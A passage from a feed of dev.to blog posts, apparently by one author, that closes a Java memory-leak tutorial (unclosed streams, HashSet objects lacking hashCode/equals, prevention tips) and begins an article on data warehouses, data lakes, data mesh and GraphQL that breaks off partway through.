&lt;p&gt;Let’s now see the exact same example, only this time, the ArrayList isn’t referenced by a static variable. Instead, it’s a non-static instance  variable that gets created, used and then garbage collected .&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Frku6xhaupre3ntadomqe.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Frku6xhaupre3ntadomqe.png" alt="Image description" width="741" height="247"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;At Line 18 , Notice how, at the very beginning, all memory is, of course, free. Then,  the iteration process runs and finishes – loading everything into the list (naturally this will depend on the machine you’re running the test on). We can see the spike in the Graph (Right side).&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F5hvwbhfjeew2qbofj4h7.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F5hvwbhfjeew2qbofj4h7.png" alt="Image description" width="800" height="400"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;At line 20 ,After  a full garbage collection cycle is triggered, and the test continues to execute, to allow this cycle time to run and finish. You can see, Notice how the GC is now able to reclaim some of the memory utilized by the JVM. (Right side)&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fcuyom84erngih6ys6ity.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fcuyom84erngih6ys6ity.png" alt="Image description" width="800" height="427"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;&lt;u&gt;2. Unclosed streams:&lt;/u&gt;&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Forgetting to close a stream is a very common scenario, and certainly, one that most developers can relate to. The problem was partially removed in Java 7 when the ability to automatically close all types of streams was introduced into the try-with-resource clause.&lt;/p&gt;

&lt;p&gt;Let’s see how the memory of the application looks when loading a large file from an URL:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fkb5hmqau03w69bpnlqca.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fkb5hmqau03w69bpnlqca.png" alt="Image description" width="800" height="415"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;As we can see, the heap usage is gradually increasing over time – which is the direct impact of the memory leak caused by not closing the stream.&lt;br&gt;
Let’s dig a bit deeper into this scenario because it’s not as clear-cut as the rest. Technically, an unclosed stream will result in two types of leaks – a low-level resource leak and memory leak.&lt;br&gt;
The low-level resource leak is simply the leak of an OS-level resource – such as file descriptors, open connections, etc. These resources can also leak, just like memory does.&lt;/p&gt;

&lt;p&gt;Of course, the JVM uses memory to keep track of these underlying resources as well, which is why this also results in a memory leak.&lt;/p&gt;

&lt;p&gt;Here you can see Used Metaspace while starting execution of the Program.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F62ul5bskft5omx48yc1f.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F62ul5bskft5omx48yc1f.png" alt="Image description" width="800" height="450"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Here you can see Used Metaspace while ending of execution of the Program.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fiy9na6auc97cx2s4w2sv.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fiy9na6auc97cx2s4w2sv.png" alt="Image description" width="800" height="449"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Here you can see the used heap memory&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fe4ptrq6n0ariu5u1jums.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fe4ptrq6n0ariu5u1jums.png" alt="Image description" width="800" height="371"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;We always need to remember to close streams manually, or to make a use of the auto-close feature. In this case, the BufferedReader will be automatically closed at the end of the try statement, without the need to close it in an explicit finally block.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fcpke8xjkwoz2yp8bzkwn.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fcpke8xjkwoz2yp8bzkwn.png" alt="Image description" width="800" height="504"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Here you can see Used Metaspace while starting of execution of the Program.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F1w4n0h6ljl0wr7xc7vfo.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F1w4n0h6ljl0wr7xc7vfo.png" alt="Image description" width="800" height="450"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Here you can see Used Metaspace after ending of execution of the Program which is lesser than the previous program where we have not closed the stream .&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fqcr129e1ut7ob0ssq9y6.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fqcr129e1ut7ob0ssq9y6.png" alt="Image description" width="800" height="449"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Here you can see the used heap memory , which is lesser than the previous program where we have not closed the stream .&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fgybfgff8kkmk42znyx3w.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fgybfgff8kkmk42znyx3w.png" alt="Image description" width="800" height="363"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;&lt;u&gt;3. Adding Objects with no hashCode() and equals() into a HashSet:&lt;/u&gt;&lt;/strong&gt;&lt;br&gt;
A simple but very common example that can lead to a memory leak is to use a HashSet with objects that are missing their hashCode() or equals() implementations.&lt;br&gt;
Specifically, when we start adding duplicate objects into a Set – this will only ever grow, instead of ignoring duplicates as it should. We also won’t be able to remove these objects, once added.&lt;/p&gt;

&lt;p&gt;Here we have created one Class Country without hashCode() &amp;amp; equals() method .&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F86lgh3lhzz6ekrcv2c8h.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F86lgh3lhzz6ekrcv2c8h.png" alt="Image description" width="800" height="563"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Here we have created one HashSet Object in which we can store Country objects . Now we are storing Multiple duplicate Country objects.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F2qdb0x0labb2tf6ni1cv.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F2qdb0x0labb2tf6ni1cv.png" alt="Image description" width="800" height="426"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;We can see  duplicate objects are added into a Set – this will only ever grow, instead of ignoring duplicates as it should.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F03qb3bzrtq0bogfqdumx.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F03qb3bzrtq0bogfqdumx.png" alt="Image description" width="800" height="210"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;We can see the heap memory usage here.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fzl7sh6fj8a1h7bcxm6oa.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fzl7sh6fj8a1h7bcxm6oa.png" alt="Image description" width="800" height="224"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Now we overridden  equals() &amp;amp; hashCode() methods.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fd46krg3xx5576r9wxznd.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fd46krg3xx5576r9wxznd.png" alt="Image description" width="800" height="608"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Here we can see no duplicate objects added .&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fwwn3v4jd0pkk2ge0ok9k.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fwwn3v4jd0pkk2ge0ok9k.png" alt="Image description" width="800" height="112"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Here we can see very less heap space has been used .&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fjmtbphr34i4lwkhfu10z.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fjmtbphr34i4lwkhfu10z.png" alt="Image description" width="800" height="219"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;So, here is the short note on how to prevent memory leak in java&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Do not create unnecessary objects.&lt;/li&gt;
&lt;li&gt;Avoid use String concatenation and use StringBuilder.&lt;/li&gt;
&lt;li&gt;Do not store massive amount of data in the Session.&lt;/li&gt;
&lt;li&gt;Timeout the Session when no longer used.&lt;/li&gt;
&lt;li&gt;Avoid use of static members (if not required) because it lives entire life of the application.&lt;/li&gt;
&lt;li&gt;Always close the streams &amp;amp; any resources in the finally blocks.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Let's connect:&lt;br&gt;
LinkedIn : &lt;a href="https://www.linkedin.com/in/arpan-bandyopadhyay-bb5b1a54/"&gt;https://www.linkedin.com/in/arpan-bandyopadhyay-bb5b1a54/&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;** reference - internet, youtube vlogs.&lt;/p&gt;

</description>
      <category>beginners</category>
      <category>java</category>
      <category>spring</category>
      <category>programming</category>
    </item>
    <item>
      <title>Data and Graphql..</title>
      <dc:creator>Arpan Bandyopadhyay</dc:creator>
      <pubDate>Tue, 07 Jun 2022 07:35:57 +0000</pubDate>
      <link>https://dev.to/arpanforgeek/data-and-graphql-h8g</link>
      <guid>https://dev.to/arpanforgeek/data-and-graphql-h8g</guid>
      <description>&lt;p&gt;Now a days all of our application is storing data for different purpose (it can be operational purpose , it can be analytics purpose) and data is evolving day by day and companies are growing by analyzing those data .&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The Evolution Of Data Platforms&lt;/strong&gt;: &lt;/p&gt;

&lt;p&gt;It is important to understand the evolution of data platform within the enterprise. &lt;/p&gt;

&lt;ol&gt;
&lt;li&gt; First Generation data platform – &lt;strong&gt;Data Warehouse&lt;/strong&gt;
&lt;/li&gt;
&lt;li&gt; Second Generation data platform – &lt;strong&gt;Data lakes&lt;/strong&gt;
&lt;/li&gt;
&lt;li&gt; Third Generation data platform – &lt;strong&gt;Batch and Streams&lt;/strong&gt;
&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Let’s quickly understand what these three types of data generation platforms means : &lt;/p&gt;

&lt;p&gt;&lt;strong&gt;1. Data Warehouse&lt;/strong&gt; : It’s a centralized location where all data of enterprise company is stored. But before storing data into the Data warehouse we need to define the business requirement i.e. why we are going to store this data in to Data warehouse .&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F7v8nnx7aid1ye3lwvzsd.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F7v8nnx7aid1ye3lwvzsd.jpg" alt="Image description" width="800" height="400"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Here we need to extract data from different source system as per business need and using ETL pipeline we store all these data into Data Warehouse and now different consumers are now started consuming data from warehouse and perform their activities .&lt;/p&gt;

&lt;p&gt;** An ETL pipeline is the set of processes used to move data from a source or multiple sources into a database such as a data warehouse.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Data warehouse is very successful, but it has some drawbacks&lt;/strong&gt; :&lt;/p&gt;

&lt;p&gt;• It can store only structured data&lt;br&gt;
• It is very costly because lot of ETL pipeline need to be applied&lt;br&gt;
• Technical expertise required&lt;br&gt;
• We need to define business requirement first then set up Data warehouse and load data into it. &lt;br&gt;
• As it is centralized the Data Platform team needs to have broad experience regarding the all domains and supports Consumers in term of domains Which is a bottleneck .&lt;br&gt;
• Access control is implemented centrally. &lt;/p&gt;

&lt;p&gt;&lt;strong&gt;2.Data lake&lt;/strong&gt; : &lt;/p&gt;

&lt;p&gt;Now a days with growing technology advancement , data volume is also increasing. Now every small system, application is generating data .It can be structured data , semi- structured data and unstructured data .Also every business/company wants all of these data as for them only operation data is not enough to grow  . They want data to perform analysis so that they can grow and understand customer requirement in better way . Now we cant do all of these using Data warehouse as it supports only structured data and before storing data to Data Warehouse we need to define business requirement first .&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fgq23mqzr617xi3w5cn5h.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fgq23mqzr617xi3w5cn5h.png" alt="Image description" width="800" height="404"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Now Data lake tells : Load first , analysis later . means we will load all the data (structured, semi- structured  and unstructured ) to a centralized space then we will analyze the data how to use it .&lt;/p&gt;

&lt;p&gt;Now let’s think about a lake. There can be different source of water for a lake . It can be rainwater  , It can be sea water , It can be River water etc etc.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fdnd1e9coppvxw899is7u.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fdnd1e9coppvxw899is7u.png" alt="Image description" width="649" height="671"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Same way from different source system data can be stored in Data lake in raw format. Hence data lake acts as a central reservoir which stores all kind of data (it can be structured, semi- structured  and unstructured, images , videos etc) without pre-analysis of data . Like lake water can be used for drinking purpose after purifying it , it can be used in industry and many other purpose , Once data is in data lake we can use in for multiple purpose as per business need. &lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fjhrlz14nkj2x90psa9ut.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fjhrlz14nkj2x90psa9ut.png" alt="Image description" width="800" height="419"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;But there are few drawbacks of data lake&lt;/strong&gt; :&lt;/p&gt;

&lt;p&gt;• We should be very careful while storing data to data lakes otherwise it will soon become data swamps &lt;br&gt;
• It does not support ACID properties&lt;br&gt;
• Very specialized skill set required to build and maintain data lake&lt;br&gt;
• As it is centralized the Data Platform team needs to have broad experience regarding the all domains and supports Consumers in term of domains Which is a bottleneck .&lt;br&gt;
• Access control is implemented centrally. &lt;/p&gt;

&lt;p&gt;&lt;strong&gt;3.Batch &amp;amp; Streaming&lt;/strong&gt; : &lt;/p&gt;

&lt;p&gt;Data from multiple source systems(it can be structured, semi- structured  and unstructured, images , videos etc) will be stored in to one centralized storage and then served those data to different consumers. &lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F1xa0i8l2egy8crcl1n84.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F1xa0i8l2egy8crcl1n84.png" alt="Image description" width="800" height="404"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;There are few disadvantages here&lt;/strong&gt;:&lt;/p&gt;

&lt;p&gt;• Huge time and effort needed to integrate new data source.&lt;br&gt;
• Huge effort in specialized skill set to manage.&lt;br&gt;
• As it is centralized the Data Platform team needs to have broad experience regarding the all domains and supports Consumers in term of domains Which is a bottleneck .&lt;br&gt;
• Access control is implemented centrally. &lt;/p&gt;

&lt;p&gt;Now to resolve all of these issues one new architecture came into the picture called Data Mesh .&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;What is Data mesh&lt;/strong&gt; :&lt;/p&gt;

&lt;p&gt;Data Mesh tells instead of flowing data from different domains and putting all these together into a centralized storage , we will divide in different domain .&lt;/p&gt;

&lt;p&gt;Earlier it was centralized, and it has single ownership and control.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F8u3t3fgy8a8r85q83tg5.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F8u3t3fgy8a8r85q83tg5.png" alt="Image description" width="800" height="247"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Now we have segregated data into different data domains and it’s not centralized . Access control is maintained by different data domain separately not in centralized way .&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F5b8pyxzud9ev216020dc.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F5b8pyxzud9ev216020dc.png" alt="Image description" width="800" height="231"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F62f8jtg59acwjig7pjmd.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F62f8jtg59acwjig7pjmd.png" alt="Image description" width="800" height="626"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Below are the key characteristics of the Data Mesh architecture&lt;/strong&gt;:&lt;/p&gt;

&lt;p&gt;• Data Mesh is decentralized, so each domain has its own resources and implementation, they don’t influence each other.&lt;br&gt;
• The Data Platform team doesn’t need to have broad experience regarding the domains but should be skilled in Software Development and Data Engineering (act also as support for the domain in terms of technical knowledge).&lt;br&gt;
• Ownership is clear, Domain Teams are responsible to provide reliable data from the sources to consumers, with Platform Teams supporting the integration.&lt;/p&gt;

&lt;p&gt;The idea of Data Mesh isn’t much different from a lot of current “Software as a Service” applications. It offers a service, like let’s say an online banking system. It helps to gather customers, online transactions, offer the different products, sell them  .It’s done by the experts in all these domains, so other experts can focus on their products – improving them, adjust the offer to their customers’ needs.&lt;/p&gt;

&lt;p&gt;Now a days we can see underlying database technologies , logics ,pipeline are evolving rapidly . They are also fragmenting continuously . we need a way so that our customers/analytics can access data easily because if we generate data and don’t use them it’s useless for business . Here we need one separate API layer which integrates Presentation layer with data layer .&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F3wm981y4sn2dsf55109x.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F3wm981y4sn2dsf55109x.png" alt="Image description" width="800" height="202"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;But before developing API layer we need to keep below points in our mind&lt;/strong&gt; :&lt;/p&gt;

&lt;p&gt;• API should be flexible that keeps up with data evolution .&lt;br&gt;
• It should be secured.&lt;br&gt;
• It should assure good performance.&lt;/p&gt;

&lt;p&gt;GraphQL can help us on above aspects .&lt;/p&gt;

&lt;p&gt;Now question is “&lt;strong&gt;Can GraphQL ships data faster to consumers?&lt;/strong&gt;”&lt;/p&gt;

&lt;p&gt;Ans is : Yes .&lt;/p&gt;

&lt;p&gt;It is not like that we can’t achieve this with other technologies . There are no such technical constraints .&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Here are some key benefits of GraphQL&lt;/strong&gt; :&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fzhgwp60kuzhps5o2y4zi.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fzhgwp60kuzhps5o2y4zi.png" alt="Image description" width="800" height="347"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;(Source: hasura.io/enterprisegraphql/build-a-graphql-powered-data-mesh-for-your-polyglot-data/)&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;What should be our API building strategy&lt;/strong&gt; ?&lt;/p&gt;

&lt;ol&gt;
